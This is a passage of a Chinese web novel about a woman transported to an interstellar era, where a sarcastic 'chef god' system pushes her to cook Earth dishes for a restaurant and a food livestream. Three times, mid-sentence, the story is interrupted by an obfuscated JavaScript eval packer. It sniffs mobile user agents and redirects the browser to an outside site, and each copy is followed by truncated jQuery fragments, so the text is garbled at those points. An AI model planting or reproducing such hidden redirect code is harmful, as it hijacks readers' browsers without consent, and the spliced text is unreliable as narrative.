宋秋光接过，手腕上被系统接管的手表将它吞了进去，愉快地闪烁了两下。 “奇怪，”段恙说，“你的智脑在第十二星系也可以使用吗？” 系统顿时萎靡了下去。 破系统一点用没有，还忘设定，宋秋光腹诽。 段恙伸出手，他无名指上的戒指黯淡无光。 “我的不可以。” “感觉米应该要泡好了，我上去看一下。”她在这上面没什么天赋，只会生硬地转移话题。 段恙的眼神一直追着宋秋光，直到她的背影消失在楼梯上，他不自觉地转了转戒指。 “你个瓜系统要害死我是吧？”她把泡好的米洗净，加入红枣，添了一多半的水，一起倒入锅里。 系统自知理亏，也不出声，好在宋秋光很有耐心，不等到系统赔罪不罢休。 ［给你补偿五个积分。］ “十个。”宋秋光立刻说道。 ［八个。］ “十五个，少一个都不行。” ［十个爱要不要。］ “十二个，就当是弥补我受伤的心灵了。” ［成交。］ 终于让系统吃瘪了一次，宋秋光顿觉神清气爽起来。 她设定好时间，还顺带给自己做了好一番心理建设，说起来不知道为什么，她觉得今天的餐馆莫名地变得高档了。 段恙百无聊赖，从餐桌看到椅子，从天花板垂下的灯看到地面上的花纹，这里是一家餐馆，即使在他的人生中来说也非常陌生的店。 没过多久，宋秋光捧着一个蓝边的瓷碗下了楼，段恙觉得自己好像咽了咽口水。 不出他的意料，入口软糯香甜，长得不好看，味道却非常浓郁，甜度也刚好。 段恙吃完，把筷子放下，宋秋光以为他没吃饱，刚想说楼上还有，就听到他说了一句。 “请问你可以给我做一辈子的饭吗？” 宋秋光简直怀疑自己的耳朵出了什么毛病，难道星际还没有废除奴隶制？这之前表现出来的科技发展和先进制度都是骗她的？ 她真是太命苦了，苦瓜都没她苦。 8. 长鱼面 段恙看到宋秋光的表情，自觉失言，他一不小心把心里话说了出来。 于是改口道，“我希望找到一个私人厨师，觉得你很适合这份工作，吓到你的话，抱歉。” 宋秋光命又不苦了，不过她还是拒绝了，且不说那个破系统给她安排的任务没办法完成，实际上她并不信任段恙。虽然他不远万里从上层星系或者中层星系过来，可自己实在拿不出什么东西感谢，他竟也没什么异议。 “你在这间餐馆做厨师吗？”段恙问。 宋秋光如实回答，“非要说的话是会计兼保洁。” “会计？保洁？”段恙抓住了两个陌生的名词。 她换了种说法，“核算成本和保持餐馆卫生。” 段恙似懂非懂，“那我还能吃到你做的菜吗？” “我晚上会开直播的。” “不够。”段恙看着她，看得宋秋光先移开了视线。 好吧，谁让人家跑这么远来送东西呢？被赖上也是情理之中的事情啦。 “你回去之前我都可以做饭给你吃。”她说。 段恙终于得到了一个相对满意的结果，“那么，明天见。” 第二天，克里斯汀里只剩几个人，宋秋光收拾好碗筷。她之前以为这里的餐桌是什么高科技，结果还不是要她手动收走，也不能让顾客看见，让别人以为餐桌之下真的有星币小精灵帮忙收拾。 没有星币小精灵，只有家养小精灵宋秋光。 “欢迎，喔我的上帝啊。”克里斯汀说。 宋秋光看了一眼时间，从楼梯上去，昨晚她想了个折中的办法，让段恙准点到克里斯汀报到，她做自己的饭时也给他准备一份，她感觉自己怪聪明的。 但是眼前的情形好像和她想象的不同，她已经提前知会了克里斯汀，告诉她会有这么一个人来餐馆吃饭，不白来，花费从她的薪水里扣。 她应该有告诉克里斯汀吧？ 那为什么克里斯汀一副好像第一次见到活人的样子？ 段恙在门口的位置坐下，进来的每一个人都能看见他晃眼的金发，宋秋光疑心有了他，克里斯汀将不再需要灯光。 “这是什么？”段恙问。 “长鱼面，”宋秋光说，“我家乡的特色。” 段恙有些迟疑，总觉得不太像长的鱼，像是极短的蛇，不过问题不大，就算是蛇他也能吃下去。 碗里飘着一层亮晶晶的油花，他先吃了一口面条，薄而韧的细条十分筋道弹牙，面汤鲜美，有呛人的香味，也有一点淡淡的胡椒味。 宋秋光路过，还给他顺带介绍了一番，碗里的面条叫做杠子面，从前是杠子压出来的，因此得名，而面里半月形的白色果子是烤蒜。 他皱眉，鱼身滑滑溜溜，略带腥味，好像真的吞下了一条蛇，但他不能否认它的口感极其鲜嫩爽滑。 “小兄弟，你吃的这是什么啊？”有临近的顾客闻到香气，一脸好奇地凑过来问。 他没回答，加快了速度，把最后一根面条吃掉了之后，嘴里才有了空闲。 “长鱼面。”他记得宋秋光是这么说的。 那顾客疑惑地看了他一眼，又转向克里斯汀，“克里斯汀，给我也来上一碗。” “约翰，不好意思，这不是店里的。”克里斯汀说。 “那在这里吃做什么，看到吃不到，纯馋我？”顾客大为震惊，“什么人啊这是？” 宋秋光深有同感，可是她已经答应了段恙，总不好再反悔。 段恙没有在克里斯汀待很久，但每一个进来餐馆的顾客都自以为掩饰得很好地偷看他。宋秋光打算出点血，咬牙换把新椅子，免得让克里斯汀就此转行开动物园。 但她给段恙发去消息，他却说，“不用，我还挺喜欢这种感觉的。” 这种感觉？这种感觉是什么感觉？ 汪玉今天也无情抛弃了潘，和她一起吃饭，“我也想吃那个人吃的东西。” 宋秋光看着她费了好大劲才找齐材料做出来的山药玉米排骨汤，一时无言。 她不想太承认，虽然她出生于淮城，长鱼面也确实是地地道道的淮城特色，但她自己是不吃的，她觉得长鱼像是蛇，吃下去会被咬得肠穿肚烂。 “那你为什么做给他吃？”汪玉问。 能为什么？当然是因为它便宜咯，她的口袋比脸还干净，不省着点花怎么行？ 但是这种话不能让别人知道，于是她详细介绍了段恙，包括他给自己打赏了很多星币和礼物，还有他忽然带着她要的东西出现在第十二星系。 汪玉道，“那吃点是应该的，我还是和你一起喝汤好了。” 夜晚，这几天来宋秋光就一直没消停过，她终于安稳地躺在了床上，好在厨神系统的任务进度不用再担心了。 虽然它现在依旧停在五人上，但克里斯汀在下班之前找到她，今天很多顾客看到了段恙在吃长鱼面，纷纷和她抗议，说自己也要吃。克里斯汀也问过了潘，潘无所谓，只要不进厨房一切都好说。 克里斯汀把自己的厨房暂时借给她，让她先做一些小菜，顾客接受的话再增加菜色和数量，薪水也会加到比潘再高一些，因为她还同时做着两份工作。 “你会不会觉得太累了一些？”克里斯汀担忧地看着她。 “没关系，我承受得住。”克里斯汀对她实在太好，不光收留自己，给了她容身之处，还允许她预支工资，这样好的老板哪里找？ 再说了，她打三份工有什么要紧，她明明打的是四份工，“我大约是真的要穷疯了。” 【这个我同意。】 “系统我这里有一本书很适合你。” 【什么书？】 宋秋光当然没有一本书，她没有这种在星际时代来说相当昂贵的资产，她从床上跳下来，在屏幕上写下一行字，《为什么你说话别人不爱听？》 【……】 “对了，积分商城给我看一下。”她看到桌上还剩下大半筐的黑色豆子，有一些加进了八宝粥里煮，有一些被她送给了汪玉。 也不知道系统还和不和她用豆子换积分，不换的话她也想不出这豆子有什么用处。 系统在她眼前展开，积分商城里的东西琳琅满目，当然大多东西底下都标着和抢钱没有区别的价格，一架飞行器四千九百九十九积分，一个真正的智脑六百九十九积分，一支恢复药剂九十九积分…… "你这个定价策略是从哪里学的？"宋秋光看着积分商城的样式，越看越觉得眼熟，再加上这永远差了一块钱的定价，既视感满满。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287229|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地球。】 她就知道，系统真是好的不学坏的学，有点心眼子全往宿主身上招呼。 “这个太贵了买不起，便宜一点。” 她在一道菜谱下顿住，二十九积分，菜名是红烧狮子头。 【我们系统也是有kpi的，你这样我很难做的阿sir。】 "难做大家就都别做了。"宋秋光眼里射出冷漠的光，把积分商城里的东西来回看了好几遍，然后一个也没买。 系统等了好半天，看到宋秋光似乎丧失了购买欲，已经在准备明天的直播做什么菜了。它想到自己空空如也的进账，只好不情愿地低下自己高贵的头颅。 “对嘛，这才是我们的好系统咯。”她眉开眼笑，系统震惊于她的变脸速度，它好像在地球上看见过差不多的技艺。 之前系统给她补偿的十二个积分宋秋光一直没用，豆子换了十个积分，一共是二十二个积分。她终于拿下了红烧狮子头的菜谱，宋秋光的嘴角疯狂上扬。 她选择这道菜倒也没什么特别的原因，只是吃过几次，和它并列在积分商城的菜谱要么太贵，要么她连见都没见过。 宋秋光短暂拥有了二十二个积分，又很快失去了她，系统在事情已成定局之后，幽幽地来了一句。 【你还记得段恙为什么来第十二星系吗？】 她终于记起抠搜如葛朗台的系统为什么会给她补偿，那块该死的晶体只不过和她接触了0.01秒就被系统吃了，她忘了个干干净净。 “还我血汗钱！”宋秋光的心在滴血。 【商品售出不退不换哈。】 拉扯了半天也没能要回那二十二积分，她心累地打开那道菜谱，却见一个还带着平台水印的视频开始播放，“大家好，我是王小厨，今天来教大家做一道国宴名菜——红烧狮子头。” 宋秋光微微一笑，“系统，我要杀了你。” “我们来看材料选择，肥瘦相间的五花肉，皮先去掉，”视频中的王小厨手里拿着一把锋利的菜刀，案板上放着大块的五花肉，一看颜色就很新鲜。 “把五花肉切成片，再切成粒，和石榴籽大小差不多就可以了，切好之后给它粗粗地斩一遍，这就叫细切粗剁。” 她把屏幕展开，跟着视频做笔记。她暂时饶过了系统，不是她品德高尚，是她这人有一个优点，那就是记仇，倒也不报仇，就是纯记。 宋秋光至今还记得小学时的数学老师，是个男老师，让她整整罚站了两节课，完全不听她的解释，非认为她考的一百分是作弊得来的，气得她再也没听过一节他讲的数学课。 不过现在想来，抛开这个老师的师德败坏暂且不论，数学课还是应该听的。这样她也不会在后来选择了读文科，念完大学出来也找不到工作，之后更是不幸地摊上这么个倒霉系统。 【知足吧，要是没有我，你就真的死了哦。】 这年头偷听别人的心声都不背人了是吧？宋秋光愤怒了。 【什么话，我一直光明正大地在听啊。】 “滚一边去，我现在没心情理你。”她彻底陷入了难言的平静，又开始做笔记。不得不说，她能看出视频里的王小厨厨艺精湛，还有一双无情铁手，滚烫的油锅他也面不改色，轻柔地往热油里放进搓圆的大肉丸子。 9. 红烧狮子头 第十星系，索尔星。 “舰长，我们什么时候可以进第十二星系啊？”副官看见了他的脸色，但摸不清他这个脸色究竟是代表的心情好，还是心情不好。 要不是星舰已经停留在第十星系整整两个自然日，他也不会冒死来问。 按照原来的计划，他们早抢完Ⅶ号能源回到第二星系，说不定他现在已经在家过起了老婆孩子热炕头的生活。可是自从舰长不顺路地接了一个人到第十二星系之后，计划就隐秘地停止了。 他虽然是副官，但只在这一任舰长手下干了几年，上一任舰长在任的时候，副官以为这世上不会再有舰长，让人想一头撞死在星舰舷窗上。现在想想，他还是太年轻，没料到这一任更是青出于蓝而胜于蓝。 司空住把玩着衣领上的银色流苏，那制式和第二星系天梯的制服没什么不同。 “等。” 他低下头，段恙的智脑没有使用的痕迹，也没有联系自己，显然，段恙还在第十二星系。 司空住还等得起，所以他不是很希望段恙知道自己的发小是个怎样的人。 第十二星系，克里斯汀今天比平日里人多了两成，段恙依旧准时出现，然后坐在靠近门边的那一个位置。 宋秋光昨天认真学习了怎么做红烧狮子头，今天打算先试做。当然，不能把第一次做出来的东西捧到顾客面前，万一失败得太过分，她的任务说不定就此彻底终结了。 她做了八份星际改良版炒合菜，五份供应给克里斯汀的顾客，一份给段恙，剩下的两份是她和汪玉的午餐。 想到春天，她就想到炒合菜，合菜也叫“和菜”，有和和美美之意，它的色彩丰富，吃起来也爽脆可口。 粉丝提前用温热的水泡软，捞出来沥干水分，再把豆芽和满草洗净，说起来满草虽然长得有香菇的几分影子，吃起来更像是韭菜，于是她就用不要钱的满草替代了韭菜，她真是一个省钱小天才。 宋秋光把鸡蛋打散，炒熟盛出，锅里再倒入少许油，放了蒜片炒香，再依次把准备好的豆芽、粉丝和满草倒进锅里，几下翻炒均匀，最后加入调料调好味，放进之前炒好的鸡蛋，炒完出锅。 炒合菜可以直接吃，也可以搭配春饼卷来吃，宋秋光不知道别人习惯哪种吃法，于是提前做好了薄薄的春饼，不爱吃饼的也可以直接和米饭一起吃。 段恙没有见过这道菜，于是一边看着宋秋光和汪玉，一边模仿她们的吃法。 她给汪玉讲了个地球笑话，逗得汪玉哈哈大笑，一抬头，才发现不止段恙，买了炒合菜的五位顾客也在看着她。宋秋光收敛了一些，低头默默地扒饭。 【哇哦，系统提醒您，任务进度条又往前走了一点点，请继续保持。】 看着10/50的进度条，她忽然觉得哪里不对，仔细想来，炸老板、段恙（草莓味）、汪玉、克里斯汀和那次直播进来的两名观众，加上今天的五位顾客，应该是十一个人啊。 “你是不是偷我进度？”自从知道了系统会读心之后，她就不再浪费张嘴的精力和系统说话。 【系统的事情怎么能叫偷呢？再说我可没偷，至少这件事上没有。】 【是汪玉的妈妈没有吃，当然也就没算进去。】 她一怔，原来那两个莫名其妙的观众是汪玉的父母，宋秋光感觉自己的眼泪好像不受控制要掉下来，好在最后她还是控制住了。 她决定不收汪玉饭钱，尽管本来也没收。 段恙吃完，把碗筷搁在桌上，第十二星系使用的种种事物都落后得可怕，唯有这个餐桌还算有趣。 今天他没有早早离开，耐心地等到餐馆用餐的人走得差不多，才走到宋秋光旁边，“好像没有和你说过，我是一名作者，我很喜欢你做的美食，可以把它们写进我的书里吗？” 宋秋光悄悄地往旁边挪了一下，“非常可以，请随意。” 段恙绸缎般的金发落在他的肩头，她不知道段恙此人有什么毛病，和她说话就说话，离她这么近做什么，近得她可以看清他脖子上的痣，藏在让人看不分明的金发之中。 “你很讨厌我吗？”段恙忽然问。 宋秋光下意识地摇摇头。 “那为什么每次见到我，你都要逃跑？” “可能是因为我对长得好看的人过敏吧。” 段恙大约能理解过敏是什么意思，于是他又看向汪玉，“那你对她不过敏？” 宋秋光哽住了，汪玉的漂亮是落着花瓣的溪水，而段恙的漂亮是个发光的巨型灯泡，他的使命就是为了闪瞎别人的眼，这能一样吗？ “应该是不过敏的。” 段恙没有再说什么，转身离开了。 “真的不过敏吗？”汪玉凑过来问，刚送走一个又来一个，宋秋光靠着收拾碗筷的借口跑路。 昨天晚上没有直播，她先做了一份红烧狮子头，严格按照王小厨的步骤来做的，味道非常不错，系统勉强算是有眼光。 她打开直播，第一个进来的自然是炸老板，第二个是汪玉，然而跟着段恙呼啦啦进来了一群人，她看到观众数一下子激增到了七十三人。 “今天直播间怎么这么多人？”安一边喝着温水，一边看直播，昨天她签下了和埃洛文实验室的一笔大生意，上司大发慈悲地给她放了两周假。 坐在她身边的朋友看了一眼她的屏幕，“不应该啊安，你没看你们家段老师星网发的消息吗？” 安火速点开段恙的星网，他洋洋洒洒说了很多，总结起来就是：他最近在看一个美食直播间，觉得很有趣。 “段恙，”安是段恙的十年老粉丝了，但是她现在喊出他的名字，颇有一番咬牙切齿的意味。“你赔我的饭！” 宋秋光没预料到今天直播间会有这么多观众进来，她没准备足够的食材，还提前做了一份红烧狮子头尝试。而且，她瞄了一眼观众数，它已经从七十三人增加到了九十五人。 她只好当做没看见，直接开始做，红烧狮子头乍一听只需要煮这么一个步骤，实际上是先炸后煮，最后才能得到又酥又烂的奇特口感。 宋秋光把调好味的肉馅转着圈地摔打，达到一个搓圆之后不会塌得过分的程度，这就可以了，之后放入淀粉，再加入切碎的孛荠。 她试探了一下油锅的温度，左右两手把肉馅团圆，挨个下进锅里，等到肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287230|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馅定了型，改名叫肉圆，颜色也变成了灿烂的金色，就把它们从锅里捞出来。 放进煸过葱姜大料的汤汁里，还要再炖上一段时间，这红烧狮子头才能出锅。 宋秋光终于有了时间看评论，直播间里的人太多，安的评论早早地淹没在了人群之中，评论的数量和速度太快，她几乎有些跟不上。 星际的科技飞速发展，以至于发明出了品尝模式，也就是在2031年时人民会说的“哪天等我有钱了，我要发明一个能尝到味道的手机。” 但它会被创造出来，又很快地被遗忘，当然是有原因的。 品尝模式的研发费用高昂，面世之后以次收费，刚开始引起了一些品尝复古美食的风潮，但人们在花费了三十个星币之后依然要面对一个问题。 那就是它仍要求被开启品尝模式的一方有实际的东西存在，当两个人对同一样东西开启品尝模式，系统会公平公正地将它分成两份；当两百个人对同一样东西开启品尝模式，系统也会同样公平地把它分成两百份，尽管这两百人都花了三十星币。 所以它没过多久就被星际居民叫做“抢钱模式”，相当快速地过气了。 被安骂了无数遍的段恙呆在了屏幕前，他凝视着属于自己的分量可怜的狮子头，默默删掉了星网上的推荐。 他只不过是有点生气，还没气多久，想到宋秋光总是给他一种很穷的感觉，段恙用心写了很长一段文字。 但他完全没预料到自己会没饭吃。 “我恨你。”安看着面前的一点点红烧狮子头，香气逼人，它的外表红而亮，口感软烂，又很有颗粒感，带着一丝甜味，晶莹剔透的汁水虽然浓郁，但并不腻人。 安很忧伤，在前两天她还可以拥有整整两块炸猪排和一整碗八宝粥，如今她好像吃了，又好像没吃。 朋友看着安气得半死，乐呵呵地记录下了她的样子，并体贴地加了滤镜和特效，她正准备发出去，却见星网上人人讨论着西桥——段恙的笔名。 “安，你们家段老师又搞了个大的。” 安的伤心正在进行时，“以后他不是我们家段老师了，我要跟他恩断义绝。” “那西桥删文有了五千万讨论度你也不在乎了？” “什么？”安一抹脸站了起来，“他删了什么，不会是那篇文吧。” “你猜对了。” 宋秋光做的红烧狮子头早已瓜分完毕，幸亏提前尝试的那一份进了她的肚子，不然她什么也吃不着。 她在回复数量繁多的评论，她们话里话外都指向一个名字——西桥，宋秋光确认自己不认识什么西桥，只觉得莫名其妙。 然而观众数不降反增，她眼睁睁地看着它突破两百人，三百人，四百人，五百人，最后定格在五百一十六人上。 “是我的问题，不好意思，”段恙发来消息，“今晚你先下播可以吗？” “我恨草莓味”刷了一个价值很多个零的礼物，把整个直播间的评论遮盖得一干二净。 宋秋光决定先下播，虽然她不知道发生了什么，但段恙刷的这个礼物太重量级，她就是真给段恙做一辈子的饭可能也还不起。 10. 杨枝甘露 段恙发来一长串解释，宋秋光从头到尾看了一遍，害，她还以为是怎么了呢？ 段恙就是作家西桥，像潮水般突然涌进直播间的观众是为他而来，而宋秋光无痛完成了系统给她的第一个任务，她又多了一大笔星币进账，段恙不像是来找她要广告费。 这也太意外之喜了，下次还有此种好事她还要参加。 “你没有做错，”宋秋光回复，“很感谢你帮忙安利我的直播间。” 她发了个非常可爱的笑脸过去。 【真是不容易啊，你是我带过最差的一届宿主，这都几天了才完成第一个任务。】 “让你说话了吗你就说？”她难得的好心情被嘴欠的系统毁于一旦。 【天啦噜，没见过我这么可怜的系统，还要被宿主凶。】 “别贫了，任务奖励呢？” 【什么任务奖励？】 宋秋光沉默了片刻，“那你是准备让我从哪里赚积分？” 【不知道呀。】 “哦，那也就是说，完成任务是没有奖励的，”她话锋一转，“想必不完成任务也是没有惩罚的吧？” 【是这个道理。】 “那真是太好了，我不干了。”宋秋光瘫在床上，和被窝你中有我、我中有你起来。 系统大约是算法上出了无数个问题，好半天才意识到哪里不对。 【我错了，给你三十个积分。】 宋秋光装死，一直到系统屈辱地报出七十个积分的高价，她才施施然地从床上起来。 她没有忘掉段恙带来的晶体，依靠系统读取了里面的信息，信息繁多如星海，一眼扫过去几乎没有尽头。 随便滑动了几下，她在写着杨枝甘露四个字的页面停下来。 她记得它的名字是来源于佛教中的观音菩萨，观音右手执杨枝，左手持玉净瓶，瓶中的水就被称为杨枝甘露，后来香港的一家酒家取其寓意，将芒果西米露冠上了“杨枝甘露”的名号。 说干就干，宋秋光把这一页保存在手表上，这完全是为了顾客准备的，她绝不会承认是自己想喝奶茶了。 “好系统，再给点材料呗。”她能屈能伸，上次和汪玉去菜市场没见到芒果，甚至和芒果长得像的水果她都没见到，更不必说还要用到的西米、椰浆和西柚，保不齐第十二星系就没有这些东西。 【也不是不可以，那我提前发布第二个任务，你要是答应了我就给你全部材料。】 “系统你杀人被我看见了，这么好说话？” 【……你再多说一句我就从你开始现杀。】 “哈哈哈哈哈，今天天气真好啊。”强行转移走了话题，宋秋光看向窗外，她死的时候地球上也是春天。到了这个时候，路上总是开着大片大片的玉兰花，白色和浅红色的居多，风一吹，仿佛下来了一场雪，地面上落着无数瓣死掉的花朵。 第十二星系仍旧是绿色的，绿得令人心醉，绿得生机盎然。她在地球上过得不好，可是此刻她好像期待着自己看见的是湛蓝的天空，天空之下是拥挤的玉兰花。 系统听见她的心声，终于做了一回人事儿，当她收起自己突然而来的愁绪，看见桌上摆着一堆金灿灿的芒果，同地球上的芒果一模一样。 次日中午，汪玉带着一袋长相丑陋的水果上班，宋秋光隐约觉得那是送给自己的，但她实在对第十二星系的丑水果接受无能，在心里演练了一遍拒绝的语言艺术。 “喏，送你的。”刚到饭点，汪玉就拎着袋子走了过来。 “这多不好意思，谢谢啦。” “没事，我很期待你今天要做的杨枝甘露，”汪玉说，“听起来很好吃。” “其实它是一款饮品，是喝的。” 汪玉立马去潘那里领了两份员工餐，“还好潘今天做了很多。” 也许是因为今天段恙太低落，他的金发也随之暗淡了一点，宋秋光把做好的杨枝甘露放在他的手边，“你想点什么都行，我请客。” 段恙的目光稳稳地落在玻璃杯上，“我还是更愿意喝营养液。” 她好像是没看见过段恙在克里斯汀用过餐，宋秋光喝了一口杨枝甘露，系统嘴贱，出品却没话说，芒果和西柚的质量好得出奇。 芒果的甜蜜和西柚的酸涩混合在一起，二者交融，带来丰富的层次，椰浆香浓，西米Q弹，达成了清爽又醇厚的矛盾口感。 宋秋光心情大好，这心情一直持续到晚上，从段恙那里得知品尝模式的运营流程之后，她本来是不打算再直播的。 那些后来的观众并不是为了她而来，只是出于对段恙推荐的好奇，她可以联系上段恙，自然也可以联系上她的第一位观众——炸老板，反正宋秋光对美食直播本来就不是很热衷。 【嘿嘿怪我咯。】 系统发布的第二个任务很简短，要让五百个人得知她的存在，时间限制依然是十个自然日。 “你真的是厨神系统吗？”宋秋光忍不住吐槽，第一个任务是让五十个人吃到她亲手做的饭，还算是和厨艺靠边。 第二个任务一下子加码到了五百个人，任务内容更是让人摸不着头脑。再说系统要是昨天发布任务的话，也许趁着直播间里来的观众就可以一口气完成了。 宋秋光在观众列表里找炸老板，这件事不是很容易，她对“蜘蛛”的UI相当不了解，昨晚又进来了太多人。 她发过去一个好友申请，炸老板大概正好在等她开播，火速地通过了。 “呜呜呜主播你终于加我了。”安在柔软的地毯上来回打滚，她一想到昨天自己只吃到那么一点狮子头就悲从心起。 “不好意思啦，我也没想到直播间会来那么多观众，没准备够材料。”宋秋光回道。 星系与星系之间的距离太过遥远，她问了汪玉、克里斯汀和段恙，甚至还有前来用餐的顾客，终于从她们的口中得知一个奇怪的事实：上、中层星系和下层星系没有双向通道，这就导致她的想法落了空。 她不得不自掏腰包，为安付了一次品尝模式的钱，看到三十星币从她眼前咻得溜走，宋秋光倒吸一口凉气。 安看到宋秋光另开了一个直播间，她是她唯一的观众，宋秋光把一碗东西放在自己的面前，也就是放在她的面前。 她没见过碗里盛着的黄色食物，这倒也正常，主播做的好吃的她之前都没有见过，最多只是见过那种口味的营养液。 它还有一个好听的名字，叫做杨枝甘露，时下的温度越发热了，她在七百五十一楼，在阳台上关掉全景窗，立刻觉得自己要被融化掉。 安的脑海里一片空白， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287231|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她难以用朴素或者华美的语言去描述自己的感受，只是单纯地觉得很幸福。 她在第三星系已经许多年，努力赚到了在第五星系一辈子也赚不到的钱，她在这里安家，从来没有想过要回去。 但不知为何，她想起了自己小时候不愿意喝营养液，妈妈把各种颜色、各种口味的营养液摆在她面前，她好像有选择，但从来没有拒绝成功过。 要是小时候就认识她就好了，安看见屏幕里的主播，她在准备今晚要做的菜，碗里摆着橙黄色的东西，切得碎碎的。 “喝完的话我先关下直播？”宋秋光生怕有别的观众进来，余额绝不允许她再付第二次品尝模式的钱。 安知道主播看不到自己，但她还是点了点头，从直播间里退了出去。 今晚的直播宋秋光准备做蛋黄鸡翅，色泽诱人，口感咸香，当然主要是因为汪玉采购了很多，她用便宜一小半的价格买了回来。 明天就是“蜘蛛”结算的日子了，宋秋光很有点翻身农奴把歌唱的美好展望。今天的直播应该不会像昨天一样有那么多观众，她开启直播，今天的第一位观众是段恙。 她还没来得及看清，段恙就刷了两个礼物，特效糊了她一脸，有钱人就是壕，宋秋光生出一股子不平之气来，他长得好，又有钱，还是个作家，这人命也太好了。 直播间的观众人数停在一百一十三人，还好还好，她准备的材料足够。 把洗干净的鸡翅点好数量，再统一放到菜板上。说来也很神奇，第十二星系的居民不用菜板，汪玉说她家用的是一种灰褐色的长条形台子，非常耐用，她记事之后台子就在她家里了。 宋秋光沿着鸡翅的骨缝把它们残忍地一分为二，扔掉鸡骨头，放入第十二星系出品的各色调料，倒进之前用过的有着花香的酒，把所有剔去骨头的鸡翅同调料一起拌匀，放在一旁腌制。 咸蛋黄是她吃完饭先蒸熟的，切得很细，她一点一点把咸蛋黄碎碾得更碎。 等到鸡翅被腌得彻底入了味，再裹上一层淀粉，她把锅烧热，耐心地开着小火煎鸡翅，一直到它们变成金黄色。 她把煎好的鸡翅盛出来，往锅里倒进咸蛋黄碎，翻炒几下，等咸蛋黄被炒化，冒起细密的泡泡，她再把鸡翅放回锅里，让这两样本来互不搭理的食材进行充分的融合，每一块鸡翅至此都拥有了一件咸蛋黄的酥脆外衣。 段恙一口下去，又推迟了回去的时间，他完全忘记了自己有个发小还在星海中漂着，而他原本是打算待几天就走的。 咸蛋黄独特的颗粒感在口中爆炸开来，味道浓郁，鸡翅的外皮有一点淡淡的焦香，内里的肉质却鲜美多汁。 他一口气吃了两个，然后发现宋秋光今天煎了太多鸡翅，累得快翻白眼了。 “明天停播一天，”宋秋光说，“抱歉抱歉。” 段恙的心碎成了一片又一片，他看向红色的星讯，埃洛文实验室的银丝藤标志亮着。 “您好，实验室新近研发了一批红烧狮子头口味的营养液，如果您感兴趣的话，请联系我。” 他昨天才第一次在宋秋光的直播间里吃到了红烧狮子头，今天就收到埃洛文的星讯，而且埃洛文已经很久没出过新口味的营养液了。 段恙沉吟片刻，下了五百只营养液的预定单。 11. 天梯 “蜘蛛”终于要给她结算打赏和礼物，宋秋光眼巴巴地看着平台上的记录，为了确定能拿到的具体数字，她还从头到尾计算了两遍。 系统把索菲亚的余额在旁边展开，经过宋秋光这些日子的消耗仍顽强地保持在三位数。 仿佛哪里的神明听见了她心底的呐喊，余额一路攀升，从三位数涨到了四位数，又从四位数升到五位数、六位数和七位数，最后停留在了惊人的一百一十七万。 宋秋光恍惚觉得自己身在梦境，大学毕业之后，她连找到一份普通的工作都很困难，从来没想过有一天，自己的银行账户里会有这么多钱。 虽说这个账户属于索菲亚。 这一百一十七万放在上层星系和中层星系也许不算什么，但是放在下层星系来看，她完全是微痛实现了财富自由。 “话说索菲亚也是中层星系的吧，为什么她就只有四百多个星币？” 【有没有可能，我只是把索菲亚的身份套在了你身上，你不是真变成索菲亚了呢？】 【我们系统也是有道德有底线的，干不出来这种事哈。】 宋秋光一顿，“就你？” 系统被她轻易地惹毛了，叽里呱啦了一大堆，她左耳进右耳出，偶尔听到什么“诽谤”、“真让系统无语”和“我要休假”之类的。 昨晚的直播请了假，今天她打算什么也不干，只好好休息一番。 不过没两分钟她就觉得很无聊，点开“蜘蛛”平台准备刷直播，星际虽好，但是手机被时代无情地淘汰掉了。 这几天忙碌得要命，也顾不上想，现在闲下来，没有手机玩把她折磨得抓心挠肝的。 好在她是穿越到了未来，不像一些苦命的同事穿到了古代，那就不止是没有手机玩这么简单了。 想到这里，她的心态平衡不少，关掉直播，宋秋光划进星网，随意地浏览起来。 屏幕上列着数不尽的信息，大多她都看不懂说的是什么，然而一行字在一众热烈讨论的新闻中十分突出，标题写着：第二星系天梯舰队抢掠资源，恶行频频无人管。 作者是第九星系的居民，她详细介绍了自己家乡被天梯舰队抢夺的全过程，用词之精准，事件之惨烈，让宋秋光感觉自己就置身于第九星系被抢夺资源的场景，悲怆感油然而生。 她再往下看，眉头不自觉地皱起，天梯舰队的形象想来很好，因为评论大多是支持天梯的，余下的人分成两派，一派持怀疑态度，要求作者拿出证据，一派则支持作者，她的文字就是最有力的武器。 没过多久，她看见天梯做出回应，声明在作者所说的时间里，天梯舰队全舰队正奔赴战场，地处第四星系和第五星系之间，准备和非智慧生命体殊死搏斗。 评论一下子被天梯舰队的支持派淹没，作者被疯狂辱骂，问候全家，那些言论像一把把锋利的刀，不断抬起又落下。 但在天梯回应之后，她不再犹豫，拿出了一段全息视频。 